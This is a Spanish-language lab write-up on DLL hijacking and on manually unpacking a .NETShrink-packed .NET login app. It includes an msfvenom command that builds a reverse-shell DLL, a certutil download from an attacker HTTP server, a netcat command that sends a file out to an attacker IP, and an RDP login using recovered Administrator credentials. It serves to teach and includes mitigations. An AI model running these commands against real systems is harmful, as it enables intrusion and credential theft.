---
description: >-
  Sustitución maliciosa de una biblioteca de enlace dinámico (DLL) legítima por
  una versión maliciosa para ejecutar código no autorizado en un programa y
  desempaquetado manual con Dnspy de .NETShrink
---

# DLL Hijacking & Unpacking

¡Saludos a tod@s!

Este post contendrá información sobre DLL Hijacking,la explotación y varias formas de mitigación, finalizando con el desempaquetado un login creado en .NET y ofuscado.

**Todas las tareas realizadas en aplicaciones y sistemas de este artículo han sido realizadas en un laboratorio de pruebas.**

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2F6lW1CYc60zCoB0xxb0oT%2Fimage.png?alt=media&#x26;token=6fb18a3f-3215-4a4f-aac6-56764536a387" alt=""><figcaption></figcaption></figure>

### DLL Hijacking <a href="#dll-hijacking" id="dll-hijacking"></a>

#### ¿Qué es un DLL?

DLL (Biblioteca de enlaces dinámicos), es un archivo que contiene código y datos reutilizables que múltiples programas pueden usar al mismo tiempo para realizar diferentes funciones, mejorando la eficiencia y la modularidad en el desarrollo de software.

#### ¿Como funciona el DLL Hijacking?

DLL hijacking, también conocido como DLL preloading o DLL side-loading, es una técnica de ataque en la que un atacante intenta explotar la forma en que un programa carga las bibliotecas de enlace dinámico (DLL).

Se utiliza para:

* Reemplazar DLL
* Secuestro del orden de búsqueda de DLL
* Redirección de DLL
* Reemplazo de DLL de WinSxS

#### Herramientas Necesarias

* [Process Monitor](https://learn.microsoft.com/es-es/sysinternals/downloads/procmon)
* Msfvenom

**Explotación**

Una vez se tiene acceso a un sistema windows se buscan diferentes maneras para poder escalar privilegios en este caso haremos un DLL Hijacking.

He creado una aplicación para poder hacer la demostración:

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FUO6nfgIJpRbVkXbwIdIv%2Fimage.png?alt=media&#x26;token=7cd66303-f7b2-4084-9e89-5cca74d80f86" alt=""><figcaption></figcaption></figure>

Usaremos Process Monitor una herramienta de **sysinternals** la cuál nos permite poder filtrar dentro de los datos que se capturan:

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FzOFgFn9jpEz9OqDdpvy2%2Fimage.png?alt=media&#x26;token=ed6fe544-a8ac-48c1-ac4f-20884e603783" alt=""><figcaption></figcaption></figure>

Utilizamos la función de _Filter_.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FfE29rywSttjF2GgOsOtU%2Fimage.png?alt=media&#x26;token=431cbcbd-f09b-4adf-9145-93959c8cff83" alt=""><figcaption></figcaption></figure>

Hay que filtrar por **“Path” “ends with” “.dll”** para que nos muestre todos las aplicaciones que están buscando un dll o que le estén usando.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FdlQcOhHEUqYYQn6V0AeU%2Fimage.png?alt=media&#x26;token=45617fac-596a-4fc9-b5ac-6bfb1a5d8a08" alt=""><figcaption></figcaption></figure>

Para mayor eficacia el nombre de nuestra aplicación es “WinFormsApp1” por lo tanto también podemos filtrar por su nombre.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FCujDAmS9kkkBy91IuNAS%2Fimage.png?alt=media&#x26;token=21ddc865-0813-4ac2-b35b-7612664b4455" alt=""><figcaption></figcaption></figure>

El tipo de resultado que buscamos es `NAME NOT FOUND`, vemos que nos aparecen varias, todas se podría usar pero en nuestro caso vamos a utilizar “hostfxr.dll”.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FjR0q4BAdwgZU5THJs0W5%2Fimage.png?alt=media&#x26;token=6fa59ee3-a406-4c6b-841c-b724d545f93e" alt=""><figcaption></figcaption></figure>

Con la siguiente sintaxis de msfvenom podemos crear un archivo dll malicioso para poder obtener un shell inverso y tener un acceso al sistema.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f dll > evil.dll
```

Una vez creado el .dll nos lo pasamos a la máquina victima, por ejemplo se podría usar certutil para poder pasarlo.

```
Máquina atacante: python3 -m http.server <PORT> 
Máquina víctima: certutil --urlcache -f http://<IP>:<PORT>/recurso
```

Teniendo el .dll malicioso en la máquina víctima lo tenemos que colocar en la ruta que el programa lo solicita, en este caso sería `C:\Users\ivan\Desktop\app-dll\hostfxr.dll`.

Nos ponemos a la escucha con netcat en nuestro entorno con el puerto definido con `msfvenom`.

`nc -lvnp <port>`

Cuando se ejecute el programa obtendremos un shell inverso:

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FpMPdu1AMzhljFei6dYFE%2Fimage.png?alt=media&#x26;token=023279a6-0f4f-49a9-8060-c15d75b8d75f" alt=""><figcaption></figcaption></figure>

#### Mitigación <a href="#mitigacion" id="mitigacion"></a>

Algunas maneras de poder remediar este ataque serían:

* **Especificar rutas completas**: Especificar rutas completas de la ubicación de DLLs en lugar de depender de la búsqueda automática del sistema operativo.
* **Privilegios mínimos**: Reducir los privilegios del usuario y del sistema.
* **Firma digital**: Utilizar firmas digitales para poder verificar la autenticidad de las DLLs antes de cargarlas.
* **Listas blancas**: Configurar listas blancas que especifique qué DLLs pueden ser cargadas en una aplicación.

### Unpacking (.NETShrink) <a href="#unpacking-netshrink" id="unpacking-netshrink"></a>

En este caso tenemos acceso directamente al sistema víctima dado que es un laboratorio preparado con ese propósito, pero por ahora vamos a hacer como si no lo supieramos y hubieramos ganado acceso como un usuario normal, una vez dentro vemos que hay aplicación que almacena datos sensibles (Usuarios, contraseñas, etc.) y que está ofuscado con el packer **.Netshrink**.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FoOPdUNM3GiP9oyIB43fD%2Fimage.png?alt=media&#x26;token=bb05398d-d03e-4a93-a2e1-339af6c68887" alt=""><figcaption></figcaption></figure>

Antes de comenzar me gustaría explicar un poco que es un packer y qué es lo que hace exactamente:

{% hint style="info" %}
Los Packers o compresores tienen la función de disminuir el tamaño de los ficheros, pero a su vez también ofrecen una capa de protección del código para poder dificultar el análisis ya sea dinámico o estático.
{% endhint %}

#### Transferencia de archivos

Para poder pasarnos la aplicación a nuestro entorno hay varias formas, yo en mi caso utilizaré certutil para pasarme **netcat** a la máquina víctima. Una vez traspasado, se utilizará la siguiente sintaxis:

```
Máquina víctima: nc.exe -nv <IP_ATACANTE> <PORT> < SimpleLoginSystem.exe
Máquina atacante: nc -lvnp <PORT> > SimpleLoginSystem.exe
```

### ¿Qué hace .NETShrink? <a href="#que-hace-netshrink" id="que-hace-netshrink"></a>

* Renombrar símbolos
* Inserción de Instrucciones redundantes
* Transformar el fluko de control
* Elimina los metadatos
* Manipular las constantes

#### Herramientas utilizadas

* Dnspy
* PEview
* Detect it Easy / PEiD

#### Información sobre el ejecutable

Utilizando tanto Die (Detect it Easy) o PEiD no nos muestra de forma clara cuál es el packer que está comprimiendo la aplicación como se puede ver en la siguientes imágenes:

* DIE

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2F3cV3ltdUyIEIqbYDaW88%2Fimage.png?alt=media&#x26;token=357dfc44-7eb3-4f62-8362-e0d85fe0696a" alt=""><figcaption></figcaption></figure>

* PEiD

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FQBo34QpEaxaybaev46YZ%2Fimage.png?alt=media&#x26;token=3425a548-1125-43d9-b2d7-adfe9100757c" alt=""><figcaption></figcaption></figure>

Sin embargo, haciendo un análisis más complejo con **PEview**, esta herramienta nos permite ver los encabezados PE, esto nos puede resultar muy útil ya que las anteriores herramientas no nos han indicado si de verdad la aplicación está ofuscada.

Para llevar a cabo el proceso debemos mirar en `IMAGE_SECTI0N_HEADER` la distancia  que hay entre el tamaño virtual (Virtual Size) y el tamaño de los datos sin procesar (Size of Raw Data).

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FolRgsN3VTYsSRb10VeTX%2Fimage.png?alt=media&#x26;token=19f7ef31-7a2e-41db-bf48-d2d92d2aaf31" alt=""><figcaption></figcaption></figure>

Con una pequeña cuenta obtenemos la distancia que hay entre ambos.

$$
Virtual Size - Size Of Raw Data = 0x68B4 - 0x6A00 = -0X14C
$$

La diferencia númerica es `-0x14C` , esta diferencia negativa indica que el “Virtual Size” es menor que el “Size of Raw Data”. En términos decimales, la diferencia sería de `-332` Bytes. La diferencia negativa sugiere que la sección puede estar empaquetada, ya que el tamaño virtual (cuando se carga en la memoria) es menor que el tamaño real de los datos en el archivo.

Habiendo analizado la aplicación, procedemos a usar Dnspy para poder depurar la aplicación y obtenerla totalmente limpia.

#### Análisis

Al cargar la aplicación en `Dnspy` si nos fijamos en la siguiente imagen, podemos ver el punto de entrada, pinchamos.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FtCuIp9Jl5HhnVa2tToHd%2Fimage.png?alt=media&#x26;token=9d677bc0-c584-4ada-91ee-03e0219bad05" alt=""><figcaption></figcaption></figure>

Buscamos `Assembly.load`.

**¿Por qué buscamos esa variable?**

Se declara esa variable, porque el método está cargando dinámicamente una assembly en tiempo de ejecucción, está intentando acceder a un array que en la posición 0, llama a (’`\u0005`’) que a su vez tiene un carácter en la posición 3 (’`\u0003`’) y un espacio en la posición 2 (’`\u0002`’) que es donde va a estar situado el ejecutable real.

#### Depuración

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FxH8CBToVsipoddLfONNU%2Fimage.png?alt=media&#x26;token=6af863d9-52a8-401a-ac13-a0fa24b24370" alt=""><figcaption></figcaption></figure>

Ponemos un punto de interrupción e iniciamos la aplicación.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2Fh1VWAklmKnhfAUy9zgES%2Fimage.png?alt=media&#x26;token=5387ce82-d4a0-429f-8722-1fbcc6f8eeff" alt=""><figcaption></figcaption></figure>

Pasamos por encima con F11 hasta llegar a `return array;`(nos devolverá el array que es donde va a estar el ejecutable real).

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FnrazqK43UP8TVE0sw1Ez%2Fimage.png?alt=media&#x26;token=1c6e52ef-b0af-4878-8406-3d3af038fe62" alt=""><figcaption></figcaption></figure>

Abajo nos aparece el array, clic derecho y guardamos.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FgLjc3l5EA4b2aWUL04e5%2Fimage.png?alt=media&#x26;token=29644d92-f8fd-492e-a883-4d10d6ae0460" alt=""><figcaption></figcaption></figure>

**Datos obtenidos**

Una vez que hemos desempaquetado la aplicación procedemos a ver que contiene, en este caso parece ser un login que contiene una contraseña y un usuario y a su vez las credenciales de usuarios del sistema.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2F86XtVDjKM8XLfr5hhr1u%2Fimage.png?alt=media&#x26;token=5df23379-96e1-4196-8741-8a06f5ff9091" alt=""><figcaption></figcaption></figure>

**Acceso al sistema como Administrador**

Comprobamos con **nmap** que la máquina victima tiene abierto el puerto RDP para poder acceder con la utilidad `xfreerdp`.

* Escaneo con nmap:

```bash
nmap -Pn -n 10.0.3.39
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-12 18:44 CET
Nmap scan report for 10.0.3.39
Host is up (0.0016s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server # RDP

Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds
```

* Acceso con xfreerdp:

```
xfreerdp /u:Administrator /p:'administrador129' /cert:ignore /v:10.0.3.39
```

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2Fe5Pz0vzGGyYguGfW00XZ%2Fimage.png?alt=media&#x26;token=020beda5-3a0b-48d3-a4fd-c873de80ac2a" alt=""><figcaption></figcaption></figure>
